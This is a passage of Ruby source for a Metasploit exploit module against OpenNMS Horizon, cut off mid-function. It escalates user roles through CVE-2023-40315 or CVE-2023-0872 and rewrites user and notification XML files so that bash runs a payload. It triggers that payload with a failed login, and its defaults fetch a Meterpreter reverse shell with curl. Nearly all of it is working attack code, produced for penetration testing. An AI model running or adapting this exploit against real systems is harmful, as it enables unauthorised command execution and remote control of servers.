962 lines
40 KiB
Ruby
962 lines
40 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'OpenNMS Horizon Authenticated RCE',
|
|
'Description' => %q{
|
|
This module exploits built-in functionality in OpenNMS
|
|
Horizon in order to execute arbitrary commands as the
|
|
opennms user. For versions 32.0.2 and higher, this
|
|
module requires valid credentials for a user with
|
|
ROLE_FILESYSTEM_EDITOR privileges and either
|
|
ROLE_ADMIN or ROLE_REST.
|
|
|
|
For versions 32.0.1 and lower, credentials are
|
|
required for a user with ROLE_FILESYSTEM_EDITOR,
|
|
ROLE_REST, and/or ROLE_ADMIN privileges. In that case,
|
|
the module will automatically escalate privileges via
|
|
CVE-2023-40315 or CVE-2023-0872 if necessary.
|
|
|
|
This module has been successfully tested against OpenNMS
|
|
version 31.0.7
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Erik Wynter' # @wyntererik - Discovery and Metasploit
|
|
],
|
|
'References' => [
|
|
['CVE', '2023-40315'], # CVE for privilege escalation via ROLE_FILESYSTEM_EDITOR in OpenNMS Horizon before 32.0.2
|
|
['CVE', '2023-0872'], # CVE for privilege escalation via ROLE_REST in OpenNMS Horizon before 32.0.2
|
|
],
|
|
'Platform' => 'linux',
|
|
'Arch' => 'ARCH_CMD',
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',
|
|
'RPORT' => 8980,
|
|
'SRVPORT' => 8080,
|
|
'FETCH_COMMAND' => 'CURL',
|
|
'FETCH_FILENAME' => Rex::Text.rand_text_alpha(2..4),
|
|
'FETCH_WRITABLE_DIR' => '/tmp',
|
|
'FETCH_SRVPORT' => 8081,
|
|
'WfsDelay' => 15 # It takes a while for the payload to execute
|
|
},
|
|
'Targets' => [ [ 'Linux', {} ] ],
|
|
'DefaultTarget' => 0,
|
|
'Privileged' => true,
|
|
'DisclosureDate' => '2023-07-01',
|
|
'Notes' => {
|
|
'Stability' => [ CRASH_SAFE ],
|
|
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
|
|
'Reliability' => [ REPEATABLE_SESSION ]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options [
|
|
OptString.new('TARGETURI', [true, 'The base path to OpenNMS', '/opennms/']),
|
|
OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
|
|
OptString.new('PASSWORD', [true, 'Password to authenticate with', 'admin'])
|
|
]
|
|
|
|
register_advanced_options [
|
|
OptInt.new('PRIVESC_SAVE_DELAY', [true, 'The time in seconds to wait for privesc changes to go into effect.', 3])
|
|
]
|
|
end
|
|
|
|
def username
|
|
datastore['USERNAME']
|
|
end
|
|
|
|
def password
|
|
datastore['PASSWORD']
|
|
end
|
|
|
|
def privesc_save_delay
|
|
datastore['PRIVESC_SAVE_DELAY']
|
|
end
|
|
|
|
def notification_commands_file
|
|
'notificationCommands.xml'
|
|
end
|
|
|
|
def destination_paths_file
|
|
'destinationPaths.xml'
|
|
end
|
|
|
|
def notifications_file
|
|
'notifications.xml'
|
|
end
|
|
|
|
def users_file
|
|
'users.xml'
|
|
end
|
|
|
|
def check
|
|
# Try to authenticate
|
|
success, msg_or_check_code = opennms_login('check')
|
|
return msg_or_check_code unless success
|
|
|
|
vprint_status(msg_or_check_code)
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'index.jsp'),
|
|
'keep_cookies' => true
|
|
})
|
|
|
|
unless res
|
|
return CheckCode::Unknown('Connection failed.')
|
|
end
|
|
|
|
# If we are authenticating as a user without dashboard privileges, the response code will be 403, so we can't use this
|
|
# Instead, we should simply check if the HTLM body includes the expected title and version information
|
|
unless res.get_html_document.xpath('//title').text.include?('OpenNMS Web Console')
|
|
return CheckCode::Detected('Failed to access the OpenNMS Web Console after authentication.')
|
|
end
|
|
|
|
# Based on the version history (https://www.opennms.com/version-history/) all OpenNMS Horizon versions follow the \d+\.\d+\.\d+ pattern
|
|
version = res.body.scan(/- Version: (\d+\.\d+\.\d+)$/)&.flatten&.first
|
|
|
|
if version.blank?
|
|
return CheckCode::Detected('Failed to obtain a valid OpenNMS version.')
|
|
end
|
|
|
|
begin
|
|
rex_version = Rex::Version.new(version)
|
|
rescue ArgumentError => e
|
|
return CheckCode::Unknown("Failed to obtain a valid OpenNMS version: #{e}")
|
|
end
|
|
|
|
if rex_version < Rex::Version.new('32.0.2')
|
|
print_status("The target is OpenNMS version #{version} and is likely vulnerable to CVE-2023-40315 and CVE-2023-0872.")
|
|
else
|
|
print_status("The target is OpenNMS version #{version}.")
|
|
end
|
|
|
|
# Check if we can access the user configuration file. There are two ways to do this:
|
|
# - Via the /rest/users endpoint. This is possible only for users with ROLE_ADMIN and ROLE_REST privileges.
|
|
# - Via /rest/filesystem/contents?f=users.xml. This is possible only for users with ROLE_FILESYSTEM_EDITOR privileges.
|
|
# If neither of these work for us, RCE won't be possible.
|
|
success, xml_doc_or_check_code = grab_and_parse_xml_config_file(users_file, 'users', 'user', 'check', filesystem: false) # try the REST endpoint first
|
|
unless success
|
|
success, xml_doc_or_check_code = grab_and_parse_xml_config_file(users_file, 'users', 'user', 'check') # try the filesystem endpoint next
|
|
return xml_doc_or_check_code unless success # in this case xml_doc_or_check_code is a CheckCode so we can return it directly
|
|
end
|
|
|
|
# Extract the privileges of the current user
|
|
success, privs_or_check_code = grab_user_privs(xml_doc_or_check_code, 'check')
|
|
return privs_or_check_code unless success
|
|
|
|
# Successful exploitation requires the user to have FILESYSTEM_EDITOR privileges as well as either REST or ADMIN privileges
|
|
if privs_or_check_code.include?('ROLE_FILESYSTEM_EDITOR')
|
|
if privs_or_check_code.include?('ROLE_REST') || privs_or_check_code.include?('ROLE_ADMIN')
|
|
# We don't need to escalate privileges here
|
|
@highest_priv = 'GOD'
|
|
return CheckCode::Appears("User #{username} has the required privileges for exploitation to work without privilege escalation.")
|
|
end
|
|
|
|
@highest_priv = 'ROLE_FILESYSTEM_EDITOR'
|
|
elsif privs_or_check_code.include?('ROLE_ADMIN')
|
|
@highest_priv = 'ROLE_ADMIN'
|
|
return CheckCode::Appears("User #{username} has #{@highest_priv} privileges. Exploitation is likely possible via privilege escalation to ROLE_FILESYSTEM_EDITOR.")
|
|
elsif privs_or_check_code.include?('ROLE_REST')
|
|
@highest_priv = 'ROLE_REST'
|
|
else
|
|
return CheckCode::Safe("User #{username} does not have the required privileges for exploitation to work.")
|
|
end
|
|
|
|
# If we are here, we have ROLE_FILESYSTEM_EDITOR privileges or ROLE_REST privileges, but not both and not ROLE_ADMIN
|
|
# This means that privilege escalation is required, which can work only if the OpenNMS version is 32.0.1 or lower
|
|
if rex_version >= Rex::Version.new('32.0.2')
|
|
return CheckCode::Detected("Exploitation requires privilege escalation, which is not possible for OpenNMS version #{version}.")
|
|
end
|
|
|
|
cve = if @highest_priv == 'ROLE_FILESYSTEM_EDITOR'
|
|
'CVE-2023-40315'
|
|
else
|
|
'CVE-2023-0872'
|
|
end
|
|
|
|
CheckCode::Appears("User #{username} has #{@highest_priv} privileges. Exploitation is likely possible via #{cve}.")
|
|
end
|
|
|
|
# This method is use to handle failures based on the stage of the exploit
|
|
#
|
|
# @param mode [String] The mode to use: check, exploit or cleanup
|
|
# @param message [String] The message to display to the user
|
|
# @param status [String] The status to use: disconnected, unexpected_reply or no_access
|
|
# @return [Array] An array containing a boolean and a CheckCode or message
|
|
def deal_with_failure_by_mode(mode, message, status)
|
|
return [false, "#{message}. Manual cleanup is required."] if mode == 'cleanup'
|
|
|
|
case status
|
|
when 'disconnected'
|
|
return [false, CheckCode::Unknown(message)] if mode == 'check'
|
|
|
|
fail_with(Failure::Disconnected, message)
|
|
when 'unexpected_reply'
|
|
return [false, CheckCode::Unknown(message)] if mode == 'check'
|
|
|
|
fail_with(Failure::UnexpectedReply, message)
|
|
when 'no_access'
|
|
return [false, CheckCode::Safe(message)] if mode == 'check'
|
|
|
|
fail_with(Failure::NoAccess, message)
|
|
end
|
|
end
|
|
|
|
# This method is used to perform a login attempt
|
|
#
|
|
# @param mode [String] The mode to use: check, exploit or cleanup
|
|
# @param perform_invalid_login [Boolean] Whether to perform a login attempt with random credentials or not
|
|
# @return [Array] An array containing a boolean and a CheckCode or message
|
|
def opennms_login(mode, perform_invalid_login: false)
|
|
if perform_invalid_login
|
|
user = Rex::Text.rand_text_alpha(8..12)
|
|
pass = Rex::Text.rand_text_alpha(8..12)
|
|
keep_cookies = false
|
|
else
|
|
user = username
|
|
pass = password
|
|
keep_cookies = true
|
|
|
|
res1 = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'login.jsp'),
|
|
'keep_cookies' => keep_cookies
|
|
})
|
|
|
|
unless res1
|
|
return deal_with_failure_by_mode(mode, 'Connection failed.', 'disconnected')
|
|
end
|
|
|
|
unless res1.code == 200 && res1.get_html_document.xpath('//title').text.include?('OpenNMS Web Console')
|
|
msg = if mode == 'check'
|
|
'Target is not an OpenNMS application.'
|
|
else
|
|
'Received unexpected response while attempting to access the OpenNMS Web Console.'
|
|
end
|
|
|
|
return deal_with_failure_by_mode(mode, msg, 'unexpected_reply')
|
|
end
|
|
end
|
|
|
|
# Try to authenticate
|
|
res2 = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'j_spring_security_check'),
|
|
'keep_cookies' => keep_cookies,
|
|
'vars_post' => {
|
|
'j_username' => user,
|
|
'j_password' => pass
|
|
}
|
|
})
|
|
|
|
unless res2
|
|
if perform_invalid_login
|
|
return [false, "Connection failed while attempting to trigger the notification. The payload likely wasn't executed."]
|
|
else
|
|
return deal_with_failure_by_mode(mode, 'Connection failed while attempting to authenticate.', 'disconnected')
|
|
end
|
|
end
|
|
|
|
unless res2.redirect? && res2.redirection.to_s.end_with?('/index.jsp')
|
|
if perform_invalid_login
|
|
return [true, 'Received expected response while triggering the payload. Please be patient, it may take a few seconds for the payload to execute.']
|
|
else
|
|
message = if mode == 'check'
|
|
'Authentication failed. Please check your credentials.'
|
|
else
|
|
'Received unexpected response while attempting to authenticate.'
|
|
end
|
|
|
|
return deal_with_failure_by_mode(mode, message, 'unexpected_reply')
|
|
end
|
|
end
|
|
|
|
# Authentication was successful
|
|
if perform_invalid_login
|
|
return [false, "Received unexpected response while attempting to trigger the notification. The payload likely wasn't executed."]
|
|
end
|
|
|
|
[true, 'Successfully authenticated']
|
|
end
|
|
|
|
# This method is used to obtain and parse an XML configuration file from the target via the filesystem endpoint
|
|
#
|
|
# @param file_name [String] The name of the file to obtain
|
|
# @param root_element [String] The name of the root element in the XML file
|
|
# @param element [String] The name of the element to obtain from the XML file
|
|
# @param mode [String] The mode to use: check, exploit or cleanup. This is used to determine how to proceed upon failure
|
|
# @param filesystem [Boolean] Whether to use the filesystem endpoint or not. If not, the file_name will be used as the REST endpoint
|
|
# @return [Array] An array containing a boolean and either a CheckCode, a message or a Nokogiri::XML::Document
|
|
def grab_and_parse_xml_config_file(file_name, root_element, element, mode, filesystem: true)
|
|
request_hash = {
|
|
'method' => 'GET',
|
|
'keep_cookies' => true
|
|
}
|
|
|
|
if filesystem
|
|
request_hash['uri'] = normalize_uri(target_uri.path, 'rest', 'filesystem', 'contents')
|
|
request_hash['vars_get'] = { 'f' => file_name }
|
|
else
|
|
request_hash['uri'] = normalize_uri(target_uri.path, 'rest', file_name)
|
|
end
|
|
|
|
# Try to obtain the file
|
|
res = send_request_cgi(request_hash)
|
|
|
|
unless res
|
|
return deal_with_failure_by_mode(mode, "Connection failed while attempting to obtain the current #{file_name} file.", 'disconnected')
|
|
end
|
|
|
|
# when using the filesystem endpoint to obtain the users.xml file, the root element is userinfo, which contains the users element
|
|
if file_name == users_file
|
|
if filesystem
|
|
filesystem_root_element = 'userinfo'
|
|
else
|
|
filesystem_root_element = 'users'
|
|
end
|
|
else
|
|
filesystem_root_element = root_element
|
|
end
|
|
|
|
unless res.code == 200 && res.body.strip.end_with?("</#{filesystem_root_element}>")
|
|
return deal_with_failure_by_mode(mode, "Unexpected response received while attempting to obtain the #{file_name} file. User #{username} my lack the required privileges.", 'unexpected_reply')
|
|
end
|
|
|
|
# Parse the file
|
|
begin
|
|
doc = Nokogiri::XML(res.body)
|
|
elements = doc&.at_css(root_element)&.css(element)&.map { |e| e&.text }
|
|
rescue Nokogiri::XML::SyntaxError => e
|
|
return deal_with_failure_by_mode(mode, "Failed to parse the #{file_name} file: #{e}", 'unexpected_reply')
|
|
end
|
|
|
|
if elements.blank?
|
|
return deal_with_failure_by_mode(mode, "No #{element} elements were found in the #{file_name} file.", 'unexpected_reply')
|
|
end
|
|
|
|
[true, doc]
|
|
end
|
|
|
|
# This method is used to obtain the privileges of a user from the users.xml file
|
|
#
|
|
# @param xml_doc [Nokogiri::XML::Document] The XML document containing the users
|
|
# @param mode [String] The mode to use: check, exploit or cleanup
|
|
# @return [Array] An array containing a boolean and a CheckCode, message, or an array of privileges
|
|
def grab_user_privs(xml_doc, mode)
|
|
privileges = []
|
|
begin
|
|
user = xml_doc&.at_css('users')&.css('user')&.find { |u| u.at_css('user-id')&.text == username }
|
|
if user.blank?
|
|
return deal_with_failure_by_mode(mode, "Failed to parse the users.xml file. User #{username} was not found.", 'unexpected_reply')
|
|
end
|
|
|
|
privileges = user.css('role')&.map { |r| r&.text }
|
|
if privileges.blank?
|
|
return deal_with_failure_by_mode(mode, "Failed to parse the users.xml file. No roles were found for user #{username}.", 'unexpected_reply')
|
|
end
|
|
rescue Nokogiri::XML::SyntaxError => e
|
|
return deal_with_failure_by_mode(mode, "Failed to parse the users.xml file: #{e}", 'unexpected_reply')
|
|
end
|
|
|
|
vprint_status("User #{username} has the following privileges: #{privileges.join(' ')}")
|
|
|
|
[true, privileges]
|
|
end
|
|
|
|
# This method is used to escalate or deescalate privileges
|
|
#
|
|
# @param deescalate [Boolean] Whether to escalate or deescalate privileges
|
|
# @return [Array] An array containing a boolean and a CheckCode or message
|
|
def escalate_or_deescalate_privs(deescalate: false)
|
|
# Establish some variables based on if we need to escalate or deescalate privileges
|
|
if deescalate
|
|
use_filesystem = @role_to_add != 'ROLE_FILESYSTEM_EDITOR'
|
|
mode = 'cleanup'
|
|
else
|
|
use_filesystem = @highest_priv == 'ROLE_FILESYSTEM_EDITOR'
|
|
mode = 'exploit'
|
|
end
|
|
|
|
# grab and parse the users.xml file
|
|
success, xml_doc_or_msg = grab_and_parse_xml_config_file(users_file, 'users', 'user', mode, filesystem: use_filesystem)
|
|
return [false, xml_doc_or_msg] unless success
|
|
|
|
# Get the privileges of the current user as a sanity check
|
|
success, privileges_or_msg = grab_user_privs(xml_doc_or_msg, mode)
|
|
return [false, privileges_or_msg] unless success
|
|
|
|
# if we are here to remove privileges, check if we actually have the privileges we want to remove. return otherwise
|
|
if deescalate && privileges_or_msg.exclude?(@role_to_add)
|
|
return [false, 'Did not find the required privileges to deescalate. Manual cleanup may be required.']
|
|
end
|
|
|
|
# if we need to escalate privileges, check if we already have the privileges we want to escalate to. return otherwise
|
|
unless deescalate
|
|
if use_filesystem
|
|
if privileges_or_msg.include?('ROLE_ADMIN') || privileges_or_msg.include?('ROLE_REST')
|
|
# We don't need to escalate privileges here
|
|
@highest_priv = 'GOD'
|
|
return [true]
|
|
end
|
|
|
|
@role_to_add = 'ROLE_ADMIN'
|
|
else
|
|
if privileges_or_msg.include?('ROLE_FILESYSTEM_EDITOR')
|
|
# We don't need to escalate privileges here
|
|
@highest_priv = 'GOD'
|
|
return [true]
|
|
end
|
|
|
|
@role_to_add = 'ROLE_FILESYSTEM_EDITOR'
|
|
end
|
|
end
|
|
|
|
# Add or remove the required role to the current user
|
|
if use_filesystem
|
|
# If we have ROLE_FILESYSTEM_EDITOR privileges, we can use the filesystem endpoint to add or remove the required role
|
|
begin
|
|
user = xml_doc_or_msg.at_css('users').css('user').find { |u| u.at_css('user-id')&.text == username }
|
|
if user.blank?
|
|
message = "Did not find the current user in the users.xml file while attempting to #{deescalate ? 'deescalate' : 'escalate'} privileges."
|
|
return deal_with_failure_by_mode(mode, message, 'unexpected_reply')
|
|
end
|
|
|
|
if deescalate
|
|
role = user.css('role').find { |r| r.text == @role_to_add }
|
|
if role.blank?
|
|
return [false, 'Failed to parse the users.xml file while attempting to deescalate privileges. Manual cleanup is required.']
|
|
end
|
|
|
|
role.remove
|
|
else
|
|
user.add_child(xml_doc_or_msg.create_element('role', @role_to_add))
|
|
end
|
|
rescue Nokogiri::XML::SyntaxError => e
|
|
return deal_with_failure_by_mode(mode, "Failed to parse the users.xml file while attempting to #{deescalate ? 'deescalate' : 'escalate'} privileges: #{e}", 'unexpected_reply')
|
|
end
|
|
|
|
# upload the edited users.xml file via the filesystem endpoint
|
|
success, message = upload_xml_config_file(users_file, generate_post_data(users_file, xml_doc_or_msg.to_xml(indent: 3)), mode)
|
|
unless deescalate
|
|
# If we have escalated privileges via the filesystem, we need to wait a few seconds for the changes to be saved
|
|
print_status("Waiting #{privesc_save_delay} seconds for the changes to be saved...")
|
|
sleep(privesc_save_delay)
|
|
end
|
|
return [false, message] unless success # this is only used for cleanup. for exploit this cannot happen
|
|
else
|
|
# If we do not have FILESYSTEM_EDITOR privileges, we can use the REST endpoint to do this
|
|
# /users/{username}/roles/{rolename} with PUT to add a role and DELETE to remove a role
|
|
res = send_request_cgi({
|
|
'method' => deescalate ? 'DELETE' : 'PUT',
|
|
'uri' => normalize_uri(target_uri.path, 'rest', 'users', username, 'roles', @role_to_add),
|
|
'keep_cookies' => true
|
|
}, 2) # for some reason the server does not send a response when this request is performed via Ruby, but it does tend to work. When sending the same request via Burp suite, the server did respond.
|
|
|
|
# 204 = no content, 304 = not modified. 204 indicates success, 304 indicates that the role was already added/removed
|
|
if res && ![204, 304].include?(res.code)
|
|
return deal_with_failure_by_mode(mode, "Received unexpected reply while attempting to #{deescalate ? 'deescalate' : 'escalate'} privileges", 'unexpected_reply')
|
|
end
|
|
end
|
|
|
|
# Get the users.xml file again to make sure our changes were saved
|
|
success, xml_doc_or_msg = grab_and_parse_xml_config_file(users_file, 'users', 'user', mode, filesystem: use_filesystem)
|
|
return [false, xml_doc_or_msg] unless success # this is only used for cleanup. for exploit this cannot happen
|
|
|
|
# Get the privileges of the current user again to make sure our changes were saved
|
|
success, privs_or_msg = grab_user_privs(xml_doc_or_msg, mode)
|
|
return [false, privs_or_msg] unless success
|
|
|
|
# Check if our changes were saved
|
|
if deescalate
|
|
if privs_or_msg.include?(@role_to_add)
|
|
return [false, 'Failed to deescalate privileges. Manual cleanup is required.']
|
|
end
|
|
|
|
return [true, "Successfully deescalated privileges by removing #{@role_to_add}"]
|
|
end
|
|
|
|
# If we are here, we are escalating privileges
|
|
unless privs_or_msg.include?(@role_to_add)
|
|
fail_with(Failure::UnexpectedReply, 'Failed to escalate privileges')
|
|
end
|
|
|
|
@highest_priv = 'GOD'
|
|
[true, "Successfully escalated privileges by adding #{@role_to_add}"]
|
|
end
|
|
|
|
# This method is used to generate the XML document that will be used to add a notification command
|
|
#
|
|
# @param file_name [String] The name of the file to upload
|
|
# @param xml_doc [Nokogiri::XML::Document] The XML document to upload
|
|
# @return [Rex::MIME::Message] The post data
|
|
def generate_post_data(file_name, data_to_write)
|
|
post_data = Rex::MIME::Message.new
|
|
post_data.add_part(data_to_write, 'text/xml', nil, "form-data; name=\"upload\"; filename=\"#{file_name}\"")
|
|
|
|
post_data
|
|
end
|
|
|
|
# This method is used to upload an XML configuration file to the target
|
|
#
|
|
# @param file_name [String] The name of the file to upload
|
|
# @param post_data [Rex::MIME::Message] The post data to upload
|
|
# @param mode [String] The mode to use: exploit or cleanup
|
|
# @return [Array] An array containing a boolean and an optional message
|
|
def upload_xml_config_file(file_name, post_data, mode = 'exploit')
|
|
# upload the edited notificationCommands.xml file
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'rest', 'filesystem', 'contents'),
|
|
'vars_get' => { 'f' => file_name },
|
|
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
|
|
'keep_cookies' => true,
|
|
'data' => post_data.to_s
|
|
})
|
|
|
|
unless res
|
|
return deal_with_failure_by_mode(mode, "Connection failed while attempting to upload the #{file_name} file", 'disconnected')
|
|
end
|
|
|
|
unless res.code == 200 && res.body.include?('Successfully wrote to')
|
|
return deal_with_failure_by_mode(mode, "Unexpected response received while attempting to upload the #{file_name} file", 'unexpected_reply')
|
|
end
|
|
|
|
[true]
|
|
end
|
|
|
|
def find_element_via_at_css(file_name)
|
|
if [destination_paths_file, notifications_file].include?(file_name)
|
|
return false
|
|
end
|
|
|
|
true
|
|
end
|
|
|
|
# This method is used to edit an XML configuration file
|
|
#
|
|
# @param file_name [String] The name of the file to edit
|
|
# @param root_element [String] The name of the root element in the XML file
|
|
# @param element [String] The name of the element to edit in the XML file
|
|
def edit_xml_config_file(file_name, root_element, element)
|
|
# First we need to get the current #{file_name} file, so we can edit our #{element_name} in it
|
|
_success, xml_doc = grab_and_parse_xml_config_file(file_name, root_element, element, 'exploit')
|
|
|
|
# update the xml document with a new element
|
|
new_value = Rex::Text.rand_text_alpha(8..12)
|
|
case file_name
|
|
when notification_commands_file
|
|
xml_doc = add_notification_command(xml_doc, new_value)
|
|
when destination_paths_file
|
|
xml_doc = add_destination_path(xml_doc, new_value)
|
|
when notifications_file
|
|
xml_doc = add_notification(xml_doc, new_value)
|
|
end
|
|
|
|
# upload the edited #{file_name} file via the filesystem endpoint
|
|
upload_xml_config_file(file_name, generate_post_data(file_name, xml_doc.to_xml(indent: 3)), 'exploit')
|
|
|
|
# generate global variables for cleanup
|
|
case file_name
|
|
when notification_commands_file
|
|
@notification_command_name = new_value
|
|
when destination_paths_file
|
|
@destination_path_name = new_value
|
|
when notifications_file
|
|
@notification_name = new_value
|
|
end
|
|
|
|
# Get the #{file_name} file again to make sure our #{element_name} was edited
|
|
_success, xml_doc = grab_and_parse_xml_config_file(file_name, root_element, element, 'exploit')
|
|
|
|
# Check if our #{element_name} was edited
|
|
if find_element_via_at_css(file_name)
|
|
full_element = xml_doc.at_css(root_element).css(element).find { |e| e.at_css('name')&.text == new_value }
|
|
else
|
|
full_element = xml_doc.at_css(root_element).css(element).find { |e| e['name'] == new_value }
|
|
end
|
|
|
|
if full_element.blank?
|
|
fail_with(Failure::UnexpectedReply, "Failed to verify that the #{file_name} file was successfully edited")
|
|
end
|
|
|
|
print_status("Successfully edited #{file_name}")
|
|
end
|
|
|
|
# This method is used to add a notification command to a Nokogiri XML document
|
|
#
|
|
# @param xml_doc [Nokogiri::XML::Document] The XML document to add the notification command to
|
|
# @param notification_command_name [String] The name of the notification command to add
|
|
# @return [Nokogiri::XML::Document] The updated XML document
|
|
def add_notification_command(xml_doc, notification_command_name)
|
|
# A notification command is a command that gets executed when a notification is triggered. We can use this to execute our payload.
|
|
|
|
# Update the xml document with a new notification command
|
|
notification_comment = Rex::Text.rand_text_alpha(6..10)
|
|
|
|
notification_command = xml_doc.create_element('command', 'binary' => 'true') # Change binary attribute value if needed
|
|
name = xml_doc.create_element('name', notification_command_name)
|
|
execute = xml_doc.create_element('execute', '/usr/bin/bash')
|
|
comment = xml_doc.create_element('comment', notification_comment)
|
|
argument = xml_doc.create_element('argument', 'streamed' => 'false')
|
|
argument_switch = xml_doc.create_element('substitution', "/usr/share/opennms/etc/#{@payload_file_name}")
|
|
argument.add_child(argument_switch)
|
|
|
|
notification_command.add_child(name)
|
|
notification_command.add_child(execute)
|
|
notification_command.add_child(comment)
|
|
notification_command.add_child(argument)
|
|
xml_doc.at_css('notification-commands').add_child(notification_command)
|
|
|
|
xml_doc
|
|
end
|
|
|
|
# This method is used to add a destination path to a Nokogiri XML document
|
|
#
|
|
# @param xml_doc [Nokogiri::XML::Document] The XML document to add the destination path to
|
|
# @param destination_path_name [String] The name of the destination path to add
|
|
# @return [Nokogiri::XML::Document] The updated XML document
|
|
def add_destination_path(xml_doc, destination_path_name)
|
|
# A destination path points to a specific group or user that will receive a notification when a notification is triggered.
|
|
# It also indicates which notification command should be executed when the notification is triggered.
|
|
# We need to add a destination path that points to our notification command so that it gets executed when a notification is triggered.
|
|
|
|
# Update the xml document with a new destination path
|
|
destination_path = xml_doc.create_element('path', 'name' => destination_path_name)
|
|
target = xml_doc.create_element('target')
|
|
name = xml_doc.create_element('name', 'Admin')
|
|
command = xml_doc.create_element('command', @notification_command_name)
|
|
target.add_child(name)
|
|
target.add_child(command)
|
|
destination_path.add_child(target)
|
|
xml_doc.at_css('destinationPaths').add_child(destination_path)
|
|
|
|
xml_doc
|
|
end
|
|
|
|
# This method is used to add a notification to a Nokogiri XML document
|
|
#
|
|
# @param xml_doc [Nokogiri::XML::Document] The XML document to add the notification to
|
|
# @param notification_name [String] The name of the notification to add
|
|
# @return [Nokogiri::XML::Document] The updated XML document
|
|
def add_notification(xml_doc, notification_name)
|
|
# A notification is triggered when a specific event occurs, and can be configured to call a specific destination path.
|
|
# We need to add a notification that will trigger our destination path so that our notification command gets executed.
|
|
|
|
# Update the xml document with a new notification that will be triggered when a user fails to authenticate
|
|
# since that is something we can easily trigger ourselves
|
|
notification_message = Rex::Text.rand_text_alpha(6..10)
|
|
|
|
notification = xml_doc.create_element('notification', 'name' => notification_name, 'status' => 'on')
|
|
uei = xml_doc.create_element('uei', 'uei.opennms.org/internal/authentication/failure')
|
|
# We need to add a rule for the IP. Let's use a negative comparison with a non-routable IP, which will always work (see RFC 5737)
|
|
rule = xml_doc.create_element('rule', "IPADDR != '192.0.2.#{rand(0..255)}'")
|
|
destination_path = xml_doc.create_element('destinationPath', @destination_path_name)
|
|
text_message = xml_doc.create_element('text-message', notification_message)
|
|
notification.add_child(uei)
|
|
notification.add_child(rule)
|
|
notification.add_child(destination_path)
|
|
notification.add_child(text_message)
|
|
xml_doc.at_css('notifications').add_child(notification)
|
|
|
|
xml_doc
|
|
end
|
|
|
|
# This method is used to remove an element from an XML configuration file
|
|
#
|
|
# @param file_name [String] The name of the file to remove the element from
|
|
# @param root_element [String] The name of the root element in the XML file
|
|
# @param element [String] The name of the element to remove from the XML file
|
|
# @param element_to_remove [String] The name of the element to remove from the XML file
|
|
def revert_xml_config_file(file_name, root_element, element, element_to_remove)
|
|
# First we need to get the current #{file_name} file, so we can remove our #{element_name} from it
|
|
success, xml_doc_or_msg = grab_and_parse_xml_config_file(file_name, root_element, element, 'cleanup')
|
|
unless success
|
|
print_error(xml_doc_or_msg)
|
|
return
|
|
end
|
|
|
|
begin
|
|
if find_element_via_at_css(file_name)
|
|
full_element = xml_doc_or_msg.at_css(root_element).css(element).find { |e| e.at_css('name')&.text == element_to_remove }
|
|
else
|
|
full_element = xml_doc_or_msg.at_css(root_element).css(element).find { |e| e['name'] == element_to_remove }
|
|
end
|
|
|
|
unless full_element.present?
|
|
print_error("Failed to remove #{element_to_remove} from #{file_name}. Manual cleanup is required")
|
|
return
|
|
end
|
|
|
|
full_element.remove
|
|
rescue Nokogiri::XML::SyntaxError
|
|
print_error("Failed to parse the #{file_name} file while attempting to remove #{element_to_remove}. Manual cleanup is required.")
|
|
return
|
|
end
|
|
|
|
# generate post data
|
|
post_data = generate_post_data(file_name, xml_doc_or_msg.to_xml(indent: 3))
|
|
|
|
success, message = upload_xml_config_file(file_name, post_data, 'cleanup')
|
|
unless success
|
|
print_error(message)
|
|
return
|
|
end
|
|
|
|
# Get the #{file_name} file again to make sure our #{element_name} was removed
|
|
success, xml_doc_or_msg = grab_and_parse_xml_config_file(file_name, root_element, element, 'cleanup')
|
|
unless success
|
|
print_error(xml_doc_or_msg)
|
|
return
|
|
end
|
|
|
|
# Check if our #{element_name} was removed
|
|
if xml_doc_or_msg.at_css(root_element).css(element).map { |e| e.at_css('name')&.text }.include?(element_to_remove)
|
|
print_error("Failed to remove #{element_to_remove} from #{file_name}. Manual cleanup is required.")
|
|
else
|
|
vprint_status("Successfully removed #{element_to_remove} from #{file_name}")
|
|
end
|
|
end
|
|
|
|
# This method is used to trigger a reload of the OpenNMS configuration
|
|
#
|
|
# @param mode [String] The mode to use: exploit or cleanup
|
|
# @return [Array] An array containing a boolean and a message
|
|
def update_configuration(mode)
|
|
# We need to update the configuration in order for our changes to take effect
|
|
xml_doc = Nokogiri::XML::Builder.new do |xml|
|
|
xml.event('xmlns' => 'http://xmlns.opennms.org/xsd/event') do
|
|
xml.uei('uei.opennms.org/internal/reloadDaemonConfig')
|
|
xml.source('perl_send_event')
|
|
xml.time(Time.now.strftime('%Y-%m-%dT%H:%M:%S%:z'))
|
|
xml.host(Rex::Text.rand_text_alpha(8..12))
|
|
xml.parms do
|
|
xml.parm do
|
|
xml.parmName('daemonName')
|
|
xml.value('Notifd', { 'type' => 'string', 'encoding' => 'text' })
|
|
end
|
|
end
|
|
end
|
|
end
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'rest', 'events'),
|
|
'ctype' => 'application/xml',
|
|
'keep_cookies' => true,
|
|
'data' => xml_doc.to_xml(indent: 3)
|
|
})
|
|
|
|
unless res
|
|
message = 'Connection failed while attempting to update the configuration.'
|
|
message += ' The cleanup changes have not been applied, but will be at the next config reload.' if mode == 'cleanup'
|
|
